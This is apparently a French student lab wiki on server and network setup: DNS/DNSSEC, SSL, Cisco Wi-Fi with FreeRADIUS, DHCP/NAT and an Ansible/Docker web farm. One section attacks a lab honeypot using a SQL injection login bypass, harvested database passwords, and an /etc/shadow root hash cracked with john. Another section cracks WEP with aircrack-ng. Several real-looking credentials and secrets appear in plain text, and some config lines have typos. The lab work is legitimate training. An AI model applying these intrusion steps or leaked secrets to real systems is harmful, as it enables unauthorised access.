3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
